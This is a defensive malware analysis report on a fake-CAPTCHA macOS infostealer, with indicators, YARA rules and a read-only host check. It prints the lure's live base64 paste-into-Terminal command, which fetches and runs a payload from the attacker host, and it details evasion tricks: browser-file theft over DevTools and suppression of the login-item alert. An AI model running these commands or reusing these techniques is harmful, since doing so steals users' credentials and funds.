nuxx.net
Making, baking, and (un-)breaking things in Southeast Michigan.

mansionfreak_fake-CAPTCHA-fable-analysis.md

/files/mansionfreak_fake-CAPTCHA-fable-analysis.md 35 KiB Rendered Source Raw

Malware analysis: fake-CAPTCHA macOS infostealer served from mansionfreak[.]com

Malicious domains and URLs in this report are defanged (hxxps, [.]). No samples or analysis tooling are distributed with it.

Summary

A page on mansionfreak[.]com displayed a fake "Cloudflare Human Verification" prompt. The prompt instructs the visitor to open Terminal and paste a command from the clipboard. The command starts a four-stage chain that installs a Rust agent disguised as Finder.

The agent (version 1.7.1, build tag gerg) does the following:

  • Steals the macOS login password and validates it with PAM.
  • Tricks the user into granting it Full Disk Access.
  • Collects cookies, saved logins, history, and keychain storage keys from 14 browsers.
  • Reads iMessage and WhatsApp message history.
  • Replaces cryptocurrency addresses on the clipboard.
  • Accepts remote commands, including shell execution, file transfer, dylib loading, and self-update.

The agent locates its command-and-control (C2) server through an Ethereum smart contract. Its configuration is encrypted with a key derived from anti-analysis checks, so the configuration decrypts only on a machine that passes all of them.

Statements in this report are derived from code, not from observed runtime behavior. Inferences are marked as such.

Infection chain

Stage Artifact Type Function
0 Web page on mansionfreak[.]com HTML/JS lure Copies a shell command to the clipboard and instructs the user to paste it into Terminal.
1 hxxps://cf-captcha[.]pro/cf-challenge bash Starts stage 2 in the background. Displays a fake verification spinner and code.
2 hxxps://devicecore[.]pro/uz72w8/o1VMFsYInZ9m JXA, in memory Fingerprints the host. Decrypts and runs a dropper if the host passes.
3 hxxps://devicecore[.]pro/uz72w8/sQ3309CE5eCf Universal Mach-O The agent. Installed as a fake Finder.app.
3a Embedded in the agent arm64 Mach-O Keychain-reading helper.

The clipboard command is shown below. The base64 string is left intact because it is the indicator.

: "Cloudflare Human Verification" && eval $(echo "Y3VybCAtc0wgaHR0cHM6Ly9jZi1jYXB0Y2hhLnByby9jZi1jaGFsbGVuZ2V8YmFzaA==" | base64 -d)

It decodes to curl -sL hxxps://cf-captcha[.]pro/cf-challenge|bash.

Stage 1: cf-challenge

The script runs this in the background with all output discarded:

curl -sfL --retry 3 --retry-all-errors --retry-delay 1 "$JXA_URL" | osascript -l JavaScript -

It then prints a fake "Verifying you are human" sequence and a fixed code, XK7M2N. The display has no function other than holding the user's attention while stage 2 runs.

Stage 2: JXA loader

Obfuscation

Each string is produced by its own inline decoder function. There are about 300 decoders in roughly 40 structural variants. Each one applies a subtract, mask, and XOR formula to an integer array. All were resolved by computing the formulas in Python.

Environment keying

The loader runs eight checks. Each check returns a fixed label for each outcome. Each label is hashed to 8 bytes. The concatenated result is hashed into an RC4 key. Three embedded blobs are encrypted with that key and carry a 16-byte integrity tag. The payload therefore decrypts only when every check returns the expected outcome.

Check Required outcome
kern.hv_vmm_present 0 (no hypervisor)
hw.model, CPU brand string, IOPlatformExpertDevice, AppleARMPE No match for vbox, vmware, parallels, qemu, utm, anka, corellium, and similar strings
csr_get_active_config SIP fully enabled
AppleSMC IORegistry entry Present, with 10 or more properties
ptrace(PT_DENY_ATTACH), environment variables, timing loop No debugger. No DYLD_INSERT_LIBRARIES, LLDB_, NSZombieEnabled, or similar variables. Loop completes in under 0.6 s.
Locale and region Not RU, BY, KZ, AM, AZ, KG, MD, TJ, UZ, TM, GE, or UA
Keyboard input sources No Russian, Ukrainian, Belarusian, Kazakh, or other listed layouts
Time zone Not one of the listed CIS zones

All outcome combinations were tested offline. Exactly one produces a valid integrity tag. It corresponds to a physical Mac with SIP enabled, no debugger, and a non-CIS configuration.

Decrypted contents

  • Download URL: hxxps://devicecore[.]pro/uz72w8/sQ3309CE5eCf
  • Install directory: ~/Library/Caches/com.apple.finder
  • A 2,760-character JXA dropper

Dropper behavior

  1. If ~/Library/Caches/com.apple.finder/Finder.app/Contents/MacOS/19318C08 exists, the dropper exits. The file serves as the infection marker.
  2. It downloads the agent with an ephemeral NSURLSession. It retries up to three times.
  3. It writes the agent to Contents/MacOS/19318C08 with mode 0755.
  4. It copies the genuine Finder icon into the bundle.
  5. It writes an Info.plist with bundle identifier apple.finder.network, name Finder, and LSUIElement and LSBackgroundOnly set. The application has no Dock icon and no window.
  6. It launches the bundle with NSWorkspace.

Files written by osascript do not receive the quarantine attribute. Gatekeeper therefore does not evaluate the bundle.

Stage 3: agent binary

Property Value
Format Universal Mach-O, x86_64 and arm64
Language Rust, stripped
Minimum OS / SDK macOS 11.0 / macOS 26.1 SDK
Code signature Ad hoc. Identifier agent. No Team ID.
Server-side file name agent_798168090.bin
Version / build tag 1.7.1 / gerg
VirusTotal at first upload 9 of 63

Only the arm64 slice was analyzed.

Obfuscation

  • Strings are split into pieces of 2 to 4 bytes. Each piece is decrypted by its own inline loop with a rolling key. Other strings are decrypted in place in heap buffers with 64-bit arithmetic.
  • Integer constants are computed at run time from mixed arithmetic, with junk stack writes between operations.
  • The machine outliner has moved shared instruction sequences into several thousand small fragments. Decompiler output for the main functions is not readable.
  • No single string key exists. About 1,400 strings were recovered by emulating the decode loops. The strings quoted in this report come from that set.

Embedded keychain helper

A 56,240-byte blob in __TEXT,__const is encrypted with ChaCha20. The key and nonce are stored directly after it. The plaintext is an arm64 Mach-O with the internal name kh_tmp.

The helper reads an account name and a service name from stdin. It calls SecKeychainFindGenericPassword and writes the secret to stdout. If the user denies or cancels the keychain prompt, the helper sleeps and retries, up to 11 times.

Agent capabilities

Credential theft

  • The agent displays a native password dialog.
  • It validates the entered password through libpam (pam_start with service login, then pam_authenticate).
  • The validated password is reported to the server in a user_pass field.

Full Disk Access

  • The agent displays a dialog stating "Finder" lost access to protected data. The dialog offers Open Settings and Not Now.
  • The dialog text is localized into about 20 languages.
  • The agent opens System Settings so that the user grants Full Disk Access to the fake Finder.
  • Inference: the agent tests the grant by reading Library/Application Support/com.apple.TCC/TCC.db, Library/Safari/Bookmarks.plist, and Library/Safari/CloudTabs.db.

Browser data

Targeted browsers: Chrome, Chromium, Edge, Brave, Opera, Opera GX, Vivaldi, Arc, Thorium, Firefox, Waterfox, Zen, Floorp, and LibreWolf.

Targeted Chromium files: Cookies, Network/Cookies, Login Data, Web Data, History, Bookmarks, and Local State.

The agent obtains each browser's <Name> Safe Storage keychain entry through the embedded helper. That entry is the key that decrypts saved passwords and cookies.

The agent also launches the installed browser with these arguments:

--headless=new --remote-debugging-port=19222 --user-data-dir=/tmp/.<24 hex>
--no-first-run --disable-extensions --disable-sync --disable-gpu --mute-audio
--disable-background-networking --disable-default-apps --disable-translate

The agent then uses that browser as a file reader for the user's real profile. This is the browsers_cdp collection module. The next section describes it.

File collection through the DevTools protocol

The module runs for Chrome, Brave, and Edge, and only if the application is installed. The orchestrating function is FUN_100081f80 in the arm64 slice. The steps below are in execution order.

  1. Start the browser with the arguments above (FUN_100046dd4). The profile directory is an empty temporary one, so the user's own browser session is not involved. How the process is spawned was not determined.
  2. Send plain HTTP GET requests to 127.0.0.1:19222 until the response contains "webSocketDebuggerUrl". The request path was not recovered. If it never does, the error is CDP not ready.
  3. Open the ws:// URL with a hand-written WebSocket client. The handshake always sends the same Sec-WebSocket-Key: ABZnI5SC2rzsNFP/H5V4/g==.
  4. List the browser's real data directory under ~/Library/Application Support/ (Google/Chrome, the Brave directory, or the Edge directory). Keep the entries named Default or starting with Profile . If none match, use Default.
  5. For each profile, read six files. Each file is fetched in one of two ways, described below.
  6. For each profile, walk Local Extension Settings and IndexedDB, and read the LevelDB files inside the selected extension directories.
  7. Read Local State from the data directory root. This file holds the wrapped key for cookie and password encryption.
  8. Clean up (FUN_100046550): find the browser with lsof -ti on the port, kill it, and rm -rf the temporary profile directory.

The two fetch methods:

Method Function Protocol messages Result
Text FUN_100045b84 Page.navigate to file://<path>, wait for loadEventFired or frameStoppedLoading, then Runtime.evaluate of document.body.innerText The file content is taken from the "value" field of the reply. A value starting with ERR_ is treated as failure (read failed).
Download FUN_100045174 Browser.setDownloadBehavior and Page.setDownloadBehavior with behavior: allow and a downloadPath chosen by the agent, then Page.navigate to file://<path> The browser cannot render the file, so it saves a copy into downloadPath. The agent polls for the copy 10 times at 50 ms intervals (download timeout), then reads it.

Paths are percent-encoded before use, for example /Local%20State.

File Method
Login Data, Cookies, Network/Cookies, Web Data, History Download
Bookmarks, Local State Text
Extension LevelDB files matched by the names CURRENT, LOCK, LOG, LOG.old, and MANIFEST Text
All other extension LevelDB files Download

The choice between methods is made by file name in FUN_100080dbc.

The extension step selects directories by name. Under IndexedDB it builds each expected name from a 17-byte prefix, an identifier, and a 20-byte suffix. Local Extension Settings was decoded and confirmed. The other three strings were not decoded. Their lengths match IndexedDB, chrome-extension_, and _0.indexeddb.leveldb, which is the standard Chromium layout, so these are inferred. The identifiers come from two lists passed in by the caller. No extension identifiers were found in the recovered strings. The lists may be supplied by the C2 with the collect task. This was not confirmed.

Results are returned per module as JSON with files_collected, files_failed, total_size, errors, and uploaded.

The effect is that every read of the profile files is performed by the browser process itself. The agent process never opens Login Data or Cookies in the user's profile. Combined with the Safe Storage key from the keychain helper and the Local State file, the collected set is sufficient to decrypt saved passwords and cookies offline.

The reason for this design is not stated in the binary. Two explanations are plausible. Endpoint security products commonly alert when a non-browser process opens browser credential files, and this technique avoids that pattern. macOS privacy controls also attribute file access to the browser and not to the agent. Neither was tested.

Detection opportunities for this technique:

  • A Chromium browser started with both --headless=new and --remote-debugging-port=19222, with a --user-data-dir under /tmp/.
  • file:// navigations into ~/Library/Application Support/<browser>/ from a headless browser
  • The fixed Sec-WebSocket-Key value on a loopback connection

Messages

  • iMessage and SMS: SQL query against Library/Messages/chat.db for text, sender, service, chat name, and date.
  • WhatsApp: SQL query against Library/Group Containers/group.net.whatsapp.WhatsApp.shared/ChatStorage.sqlite.
  • Results are packaged as messages.json.

Clipboard hijacking

The agent monitors NSPasteboard and matches regular expressions for these address formats: Ethereum, Bitcoin (legacy and bech32), Litecoin, Bitcoin Cash, Dogecoin, Tron, TON, XRP, Monero, and Zcash (transparent, Sapling, and unified). A matching address is replaced with a hardcoded attacker address. Two replacement addresses appear to exist per format. One additional 44-character base58 address resembles a Solana address, but no matching expression was recovered.

The expressions and addresses are listed in Appendix C.

Remote commands

Command Function
shell Runs a command through /bin/sh.
upload_file, download_file Transfers files to and from the host.
collect Runs named collection modules, such as keychain and browsers_cdp.
photo_ocr An alias of dylib_exec. Both names dispatch to the same handler (FUN_10002aea4) with the same arguments. The binary contains no OCR or Vision code. Any such function is delivered at run time as a dylib.
dylib_exec Downloads a dylib, loads it with dlopen, and calls a named entry point. Payload fields: url or server_path, module_name, entry_point, args, output_cap, unload, and delete_file. The module is passed {"_server_url":"…","_agent_id":"…"}, so it can talk to the C2 on its own.
self_update Downloads a replacement binary, verifies its SHA-256, and swaps it in using .new and .old files.
change_config Changes server_url and interval.
prompt_password, prompt_fda Displays the password dialog or the Full Disk Access dialog.

Collected data is uploaded as a chunked .tar.gz archive with a manifest.json. The upload protocol uses upload_init, numbered chunks, and upload_done.

Persistence and on-disk state

The agent's main function (FUN_1000411b8) does the following in order, after the region checks.

  1. Computes a base directory (FUN_10005f3bc). If the executable path ends in <name>.app/Contents/MacOS/<exe>, the base directory is the directory that contains the .app. For the bundle the loader installs, that is ~/Library/Caches/com.apple.finder/. Otherwise it is the directory that contains the executable.
  2. Opens <base>/.socket-controller with mode 0666 and calls flock with LOCK_EX|LOCK_NB. If the lock fails, the agent takes an early exit path. This file is a single-instance lock. Its content is not meaningful.
  3. Freezes the processes that would show the "Background Items Added" alert. See the next section.
  4. Sleeps for a short computed interval, then calls [[SMAppService mainAppService] registerAndReturnError:]. The class name and the mainAppService selector were decoded by hand and confirmed. This registers the fake Finder.app itself as a login item on macOS 13 and later. It appears in System Settings under General, Login Items, as an "Open at Login" entry named Finder. No LaunchAgent plist is written.
  5. Kills the frozen processes. See the next section.
  6. Saves the result of the registration as the persisted field of .firmware-token.

Steps 3 to 6 are skipped when a global "persisted" flag is already set (FUN_10007d190). Step 6 sets that flag from the registration result. Inference: on later starts the flag is loaded from .firmware-token, so the sequence runs once per install.

LSRegisterURL is also applied to the fake bundle, from the check-in function.

<base>/.firmware-token is the agent's saved C2 state (FUN_10005e334 reads it, FUN_10005db44 writes it). The plaintext is JSON of the form {"url":"…","persisted":false,"up":"…"}. On disk it is stored in the same salt:nonce:ciphertext hex form as the built-in configuration and with the same key derivation. The write routine is called from main and from the collection dispatcher. Inference from the error string failed to persist url: the change_config command also writes it. The meaning of up was not determined.

Suppression of the "Background Items Added" alert

macOS 13 and later show a notification when an application registers a login item. The agent prevents that notification with process signals. No exploit and no elevated privilege is involved. All of the targeted processes run as the logged-in user, so the agent is allowed to signal them.

The code is in main between 0x100042d28 and 0x100043c68. The sequence is:

  1. Decode four process names: BackgroundTaskM, NotificationCen, usernotification, and BTMNotification. These are the first 15 or 16 characters of BackgroundTaskManagementAgent, NotificationCenter, usernotificationsd, and BTMNotificationAgent. The kernel's short process name field holds 16 characters, which is why the names are truncated.
  2. For each name, list all processes with sysctl (CTL_KERN, KERN_PROC, KERN_PROC_ALL) and collect the PIDs whose short name matches.
  3. Send each PID signal 17, which is SIGSTOP on macOS. After each signal, query that PID with sysctl (KERN_PROC_PID) and repeat, with short sleeps and a bounded number of attempts, until the process state is 4 (SSTOP).
  4. Register the login item while those processes are frozen.
  5. Send each PID signal 9 (SIGKILL). Then probe each PID with signal 0 and repeat the round, with sleeps and a bounded number of rounds, until none of them is alive.

The processes are never resumed. Inference: while they are frozen they cannot deliver the alert, and killing them discards whatever was queued. launchd then starts fresh copies that have no record of the event. This explanation was not tested on a Mac, and the retry counts and sleep lengths were not evaluated because they are computed by obfuscated arithmetic.

The login item is still recorded by the system. It remains visible in System Settings under General, Login Items, and in the output of sfltool dumpbtm. Only the alert is suppressed.

Detection opportunities:

  • SIGSTOP followed by SIGKILL sent to BackgroundTaskManagementAgent, NotificationCenter, usernotificationsd, or BTMNotificationAgent by a process that is not part of macOS. Endpoint Security reports these as signal events.
  • Those four processes restarting within the same few seconds, shortly after a new login item is registered.
  • A login item whose bundle is under ~/Library/Caches/.

Configuration and C2

Configuration encryption

Configuration values are stored as hex strings in the form salt:nonce:ciphertext. The cipher is XChaCha20-Poly1305.

The key is environment-dependent:

  1. Sixteen anti-analysis checks run at startup.
  2. Each check XORs a constant into one of eight 64-bit globals when it passes.
  3. The eight globals are XORed into a single 64-bit value.
  4. That value and the per-entry salt pass through a key derivation function to produce the 32-byte key.

If any contributing check fails, the derived key is wrong and authentication fails. The passing value was computed from the constants in the binary. The binary's own decrypt routine was then emulated with that value. All four Poly1305 tags verified.

Decrypted values

Entry Value
Sync URL hxxps://enrollservice[.]pro/api/sync
Ethereum contract 0x33DfCf9123Bf44B84f53049373D0D22D0270693d
Build tag gerg
32-byte key 942f49ffcc83dd1ae5e10f4fa3f5db81d6c7cb0a71b8d9406b73e03e2fc61767

The 32-byte key is decrypted in the registration function (FUN_10007d280), directly before the registration message is built. See Protocol.

C2 resolution

The agent sends a JSON-RPC eth_call to the contract with data 0x06fdde03, the selector for name(). It uses these public endpoints:

  • https://ethereum-rpc.publicnode.com
  • https://eth.llamarpc.com
  • https://1rpc.io/eth
  • https://eth.drpc.org

It strips the 0x prefix, hex-decodes the result, ABI-decodes the string, and decrypts it. This is a dead-drop resolver. The operator can change the C2 address by updating contract state, and the contract cannot be taken down.

The decryption step calls the same AEAD routine as the configuration, with a 24-byte nonce taken from the on-chain value. The key used at that step was not traced. The hardcoded sync URL is decrypted inside the same function (FUN_10001dbd8). Inference: it is the fallback when resolution fails. The order of preference was not confirmed.

Protocol

Transport:

  • HTTPS POST through NSURLSession with an ephemeral configuration.
  • User-Agent: com.apple.WebKit.Networking/<v> CFNetwork/<v> Darwin/<v>. This imitates Safari's network process. The versions are read from the installed WebKit and CFNetwork frameworks. The strings 21623.2.7.11.7 and 25.3.0 are built in, probably as defaults.
  • Body: {"data":"<encoded envelope>"}. The response has the same shape. Inference from the error label hex:: the encoding is hex.

Registration (FUN_10007d280):

  • The agent reads IOPlatformSerialNumber and builds this JSON: {"agent_id":"…","session_key":"…","timestamp":0,"build_id":"…","agent_version":"…"}.
  • build_id is the configuration build tag (gerg). agent_version is 1.7.1. agent_id is 16 hex characters. Inference: it is derived from the serial number.
  • The 32-byte configuration key is decrypted here. Inference: it encrypts the registration message, and session_key is a fresh key that protects everything after it. The link between session_key and the key used below was not traced through the code.

Envelope for later messages (FUN_10005f874 encrypts, FUN_10005fb78 decrypts):

Offset Length Content
0 1 Constant byte. The value is computed by obfuscated arithmetic and was not evaluated.
1 8 Agent identifier
9 24 Random nonce
33 variable XChaCha20-Poly1305 ciphertext and 16-byte tag

The key is 32 bytes held in the agent's session state. The decrypt side requires a 24-byte nonce and rejects short input. Whether responses carry the same 9-byte header was not confirmed.

Tasks and results (FUN_10001a4f4, FUN_100007a54):

  • A decrypted response is JSON with task, task_id, and optional sha256 and error fields.
  • Results are reported as short status strings: ok bytes=<n> id=<id> sha=<hash> or fail <reason>.
  • Failure labels seen in the code: encrypt_fail, empty_resp, decrypt_fail resp=, invalid sync response.

Consequence for defenders: the static key in this report is the same for every agent with this build. If the inference above is correct, a party that can see inside the TLS session can decrypt the registration message, recover session_key, and read the rest of that agent's traffic. This was not tested.

Anti-analysis in the agent

Category Technique
Debugger sysctl P_TRACED flag, task_get_exception_ports, dyld debugger notification symbols, lldb_image_notifier
Virtual machine IOKit classes AppleParavirtGPU, VMwareGfx, VMwareVMCISocket, prl_*, VBoxGuest, VBoxVideo, IOVirtioDevice. hw.model strings. CPU count, memory size, and kern.maxproc.
SIP csr_get_active_config
Region About 50 CIS time zones, locale country codes, language prefixes, and keyboard input sources through Carbon TIS
Network A random label under .cdn-apple.com:443. Purpose not determined. Possibly detects sandboxes that resolve every DNS name.
Logging Sets OS_ACTIVITY_MODE=disable

Indicators of compromise

Network

Indicator Role
cf-captcha[.]pro Stage 1 host
devicecore[.]pro, path /uz72w8/ Stage 2 and stage 3 host
enrollservice[.]pro, path /api/sync Agent C2
0x33DfCf9123Bf44B84f53049373D0D22D0270693d Ethereum contract queried with eth_call, data 0x06fdde03
127.0.0.1:19222 Local Chrome remote debugging port

Host

Indicator Role
~/Library/Caches/com.apple.finder/Finder.app Agent bundle
Contents/MacOS/19318C08 Agent executable and infection marker
Bundle identifier apple.finder.network Agent bundle
/tmp/.<24 hex characters> Temporary Chrome profile directory
~/Library/Caches/com.apple.finder/.socket-controller Single-instance lock file
~/Library/Caches/com.apple.finder/.firmware-token Encrypted saved C2 state
Login item named Finder registered through SMAppService Persistence

SHA-256

Hash File
aed913aa699a5f5ffe23a3e6dd20ec99ca267859d8b24d67c5959819e8b17371 cf-challenge
3e2f9edd4ced505e6a12638ffebb590ec45d3734b1c855351c5b1874604b4ad4 o1VMFsYInZ9m
31e16345fa523190be3fa3bed1af7afea6635e25a95320206a5f063cfba7f8e5 Agent, universal binary
7e5344da21af64161f31e5164f363ae678bd813747d61625eb27e3ffdd0a524c Agent, arm64 slice
6b088da1c32ea6a165d35bd58b9c0329835be5538a6911920cc3455e06ec8c86 Agent, x86_64 slice
3890fd918194b27a48278f0024f2d4a6ada84e3a7e31c5235d278ff269ab0edd Embedded keychain helper

The loader and agent are probably rebuilt per campaign or per download. Hashes are therefore short-lived indicators. The domains, contract address, bundle identifier, and file paths are more durable.

Limitations

  • The contract was not queried. The current C2 host returned by name() is unknown.
  • The use of the 32-byte configuration key and of session_key is inferred from where they are handled. The message encryption was not followed from registration to the first task.
  • The suppression of the "Background Items Added" alert was traced in the code but not tested. Whether it works on current macOS versions is not known.
  • The dylib that photo_ocr would load was not obtained, so what it does is unknown.
  • In the DevTools collection module, three directory-name strings are inferred from length and structure, and the source of the extension identifier lists is not determined. The reason for routing file reads through the browser is not confirmed.
  • The x86_64 slice was not analyzed.
  • String recovery covered every obfuscated function from multiple entry points. Complete coverage is not proven.
  • The method by which mansionfreak[.]com served the lure was not investigated.
  • No behavior was observed at run time.

How the analysis was run

This analysis was produced in one Claude Code session. It is published as an example of using Claude Fable for malware analysis.

The person who encountered the lure did the following:

  • Set the constraint at the start: analyze only, with no downloading and no execution.
  • Saved the stage 1 script and the stage 2 loader, and later fetched the agent binary with a command the model supplied.
  • Installed Ghidra and a JDK when static triage reached its limit.
  • Uploaded the agent to VirusTotal.
  • Decided at each point how far to go. This included approving emulation inside Ghidra and declining to query the Ethereum contract.

The model did the following:

  • All deobfuscation, reverse engineering, and cryptanalysis.
  • Wrote all tooling: Python decoders, a Mach-O parser, cipher reimplementations, and the Ghidra emulation scripts.
  • Wrote this report.

Several approaches failed before the working one was found. String recovery took four revisions of the emulation harness. Configuration decryption failed three times: standard cipher constructions did not apply, the emulator lacked two NEON instructions, and the binary's own initializers overwrote preset values.

Method

The analysis used Python scripts and Ghidra headless scripts written during the session. They are not published.

  1. Loader strings. A Python script parses each decoder's integer array and formula and computes the output. The JavaScript is not executed.
  2. Loader payload. The loader's RC4 variant and hash function were reimplemented in Python. All check-outcome combinations were tested against the embedded integrity tag.
  3. Agent triage. A Python Mach-O parser reported headers, imports, code signature, and per-section entropy. This identified the encrypted helper and its adjacent ChaCha20 key.
  4. Agent strings. A Ghidra headless script runs each obfuscated function's decode loops in the p-code emulator. Calls that leave the binary are replaced with stubs. Four passes were needed to reach the coverage reported here.
  5. Agent configuration. The key derivation was read from the decompiled decrypt function. The passing check value was computed from constants. The decrypt routine was emulated with that value preset. The emulator lacks the ext and rev32 NEON instructions and the atomic instructions, so the script implements them.

Appendix A: YARA rules

These rules were written from a single sample of each stage. They were checked by string matching against the samples and against about 4,700 Linux system binaries, with no false matches. They were not compiled with YARA and were not tested against a large clean macOS corpus. Other builds may not match.

rule MacOS_FakeFinder_Agent
{
    meta:
        description = "Rust backdoor/infostealer installed as a fake Finder.app (vendor label PamStealer)"
        author = "Claude Fable 5.2 (Anthropic)"
        date = "2026-11-25"
        hash = "31e16345fa523190be3fa3bed1af7afea6635e25a95320206a5f063cfba7f8e5"
    strings:
        $cdp1 = "\"method\":\"Browser.setDownloadBehavior\",\"params\":{\"behavior\":\"allow\",\"downloadPath\":\"" ascii
        $cdp2 = "{\"id\":2,\"method\":\"Page.navigate\",\"params\":{\"url\":\"" ascii
        $ws1 = "setCreatesNewApplicationInstance:" ascii
        $ws2 = "openApplicationAtURL:configuration:completionHandler:" ascii
        $chacha = "expand 32-byte k" ascii
        $rust = "RUST_MIN_STACK" ascii
        $cfg = /[0-9a-f]{64}:[0-9a-f]{48}:[0-9a-f]{40}/ ascii
    condition:
        (uint32(0) == 0xfeedfacf or uint32(0) == 0xbebafeca) and
        filesize < 5MB and
        $cfg and $chacha and $rust and
        2 of ($cdp1, $cdp2, $ws1, $ws2)
}

rule MacOS_FakeFinder_KeychainHelper
{
    meta:
        description = "Keychain-reading helper embedded in the fake Finder agent"
        author = "Claude Fable 5.2 (Anthropic)"
        date = "2026-11-25"
        hash = "3890fd918194b27a48278f0024f2d4a6ada84e3a7e31c5235d278ff269ab0edd"
    strings:
        $id = "kh_tmp" ascii
        $api = "_SecKeychainFindGenericPassword" ascii
        $in = "_fgetc" ascii
        $wait = "_nanosleep" ascii
    condition:
        uint32(0) == 0xfeedfacf and filesize < 200KB and all of them
}

rule MacOS_FakeCaptcha_JXA_Loader
{
    meta:
        description = "Obfuscated JXA loader delivered by a fake-CAPTCHA paste-into-Terminal lure"
        author = "Claude Fable 5.2 (Anthropic)"
        date = "2026-11-25"
        hash = "3e2f9edd4ced505e6a12638ffebb590ec45d3734b1c855351c5b1874604b4ad4"
    strings:
        $fcc = "['\\x66r" ascii
        $join = "['\\x6ao" ascii
        $iife = "(function(){var " ascii
        $run = "function run(){" ascii
    condition:
        filesize < 1MB and $run and
        #fcc > 50 and #join > 50 and #iife > 100
}

rule MacOS_FakeCaptcha_Stage1_Bash
{
    meta:
        description = "Stage 1 bash script of a fake-CAPTCHA lure that pipes a download into osascript"
        author = "Claude Fable 5.2 (Anthropic)"
        date = "2026-11-25"
        hash = "aed913aa699a5f5ffe23a3e6dd20ec99ca267859d8b24d67c5959819e8b17371"
    strings:
        $run = "osascript -l JavaScript -" ascii
        $var1 = "JXA_URL=" ascii
        $var2 = "APP_ORIGIN=" ascii
        $txt1 = "Verifying you are human" ascii
        $txt2 = "Your verification code" ascii
    condition:
        filesize < 50KB and $run and 2 of ($var1, $var2, $txt1, $txt2)
}

Appendix B: host check

This script looks for the host indicators listed above. It is read-only. It was syntax-checked but not run on a Mac. A clean result does not prove that a Mac is clean, because the agent can update itself and change its paths.

#!/bin/bash
# Read-only check for indicators of the fake-Finder agent described in this report.
# It deletes and changes nothing. Run it as the logged-in user on the Mac in question.
found=0
note() { echo "FOUND: $1"; found=1; }

for home in /Users/*; do
  dir="$home/Library/Caches/com.apple.finder"
  [ -d "$dir/Finder.app" ] && note "agent bundle at $dir/Finder.app"
  [ -e "$dir/Finder.app/Contents/MacOS/19318C08" ] && note "agent executable 19318C08 in $dir"
  [ -e "$dir/.socket-controller" ] && note "agent lock file $dir/.socket-controller"
  [ -e "$dir/.firmware-token" ] && note "agent saved C2 state $dir/.firmware-token"
done

if command -v mdfind >/dev/null 2>&1; then
  mdfind "kMDItemCFBundleIdentifier == 'apple.finder.network'" 2>/dev/null |
    while read -r hit; do echo "FOUND: bundle with ID apple.finder.network at $hit"; done
fi

pgrep -fl 'Library/Caches/com.apple.finder/Finder.app' >/dev/null 2>&1 &&
  note "process running from Library/Caches/com.apple.finder/Finder.app"

lsof -nP -iTCP:19222 -sTCP:LISTEN 2>/dev/null | grep -q LISTEN &&
  note "listener on TCP 19222 (Chrome remote debugging port used by the agent)"

for d in /private/tmp/.[0-9a-f]*; do
  name=$(basename "$d")
  if [ -d "$d" ] && [[ "$name" =~ ^\.[0-9a-f]{24}$ ]]; then
    note "temporary browser profile directory $d"
  fi
done

if [ "$found" -eq 0 ]; then
  echo "No indicators found. This does not prove the Mac is clean."
else
  echo "Indicators found. Treat this Mac as compromised."
fi

Appendix C: clipboard hijacker expressions and addresses

Each match expression is followed by the hardcoded replacement addresses recovered for that format. The Zcash unified addresses may be truncated.

\b[48][a-km-zA-HJ-NP-Z1-9]{94}\b
0x06424e6ab1eA05878d7002BFdb9765cdCF350C5E
THtEdR8TGUUw6nGiWuAkEpaJGFKNQmX7Jz
TCbmBGfMa34pbSYpjiVSCnTe7sEPT97GED
\bbc1[ac-hj-np-z02-9]{6,87}\b
bc1q9wxe5qehlwlc2lh5plq2n9afy70e4xu9gv993l
1NjuQida5X5uZ9XGSMyHuQhMJKJZ1xxi6N
1LMYu8fF8dRuAvuyP3Eyj9Y3s3pT7P5U2g
\b(?:EQ|UQ)[a-zA-Z0-9_\-]{46}\b
UQD6RsW7-laCBEtAH5euQ98uNEWstWHDqIP8jstfzdTX0OYI
UQDHJo5jcyMSPDumaBLkFN6wTKYfCZ5LzEiwduD0vMxJbHWq
\br[a-km-zA-HJ-NP-Z1-9]{24,34}\b
rpjDi8ci9qgKJPSSA9n7a6eEgJzm29UY1D
\b[qp][qpzry9x8gf2tvdw0s3jn54khce6mua7l]{41}\b
qqzmlpumr4qef62vz7tnyjw46yx84yy9qyd467tuk7
qzjl0rs07skraanpdln8vmva73sdgylz6sq920569m
LanNLYWiYK5NeGGyqTevX5GmimGizAaXyg
LRVpwZcudFdi83yyz1PwsCiGodWY2h3ibp
ltc1qza9l30pz63mtwwvmrk9ckg2hvk7dsmwyl5cv86
\bD[5-9A-HJ-NP-U][a-km-zA-HJ-NP-Z1-9]{32}\b
DPawEtaxU3WQJUAotVDWcrVWodkpKLUCWz
\bt[13][a-km-zA-HJ-NP-Z1-9]{33}\b
t1VswNR1ykp2dfGfPJuzFyHvnQ9bXy4cqkU
t1WrgeytNXSwWRdF5SoCR24HNUy5LebUD63
\bzs1[ac-hj-np-z02-9]{75}\b
zs1evp0rm9ffm506x445efd8n4pkteylwykfd25js9kqxfedhn0ykq3y9cxl939jjsq95jwzwhwnjp
\bu1[ac-hj-np-z02-9]{130,}\b
u1q7gcsah6wjzqzjp4karmxgtytjsrxdx0grgdjyvnrj3xgf7hh5f3tagegym39ek228cl5c7ucvtjzq8rtsl0nyf2xyl3u6usmcc93g9js7k7gn33m7qx6xmnzsase7ucpkmd260vy8l
u1g3a3gnq5vzddl3yanh5ee9gtmd0747nxld25hu7s0rgdvnqgtk5c0jqszfeyvf53rrfuwrvgr4xtdks326jtk86s00lutmxscq6z5utu
CdYdYdbA71jVDHW6UiSYixmv3twj5NL9asr2wPxJRDvY

← Back to nuxx.net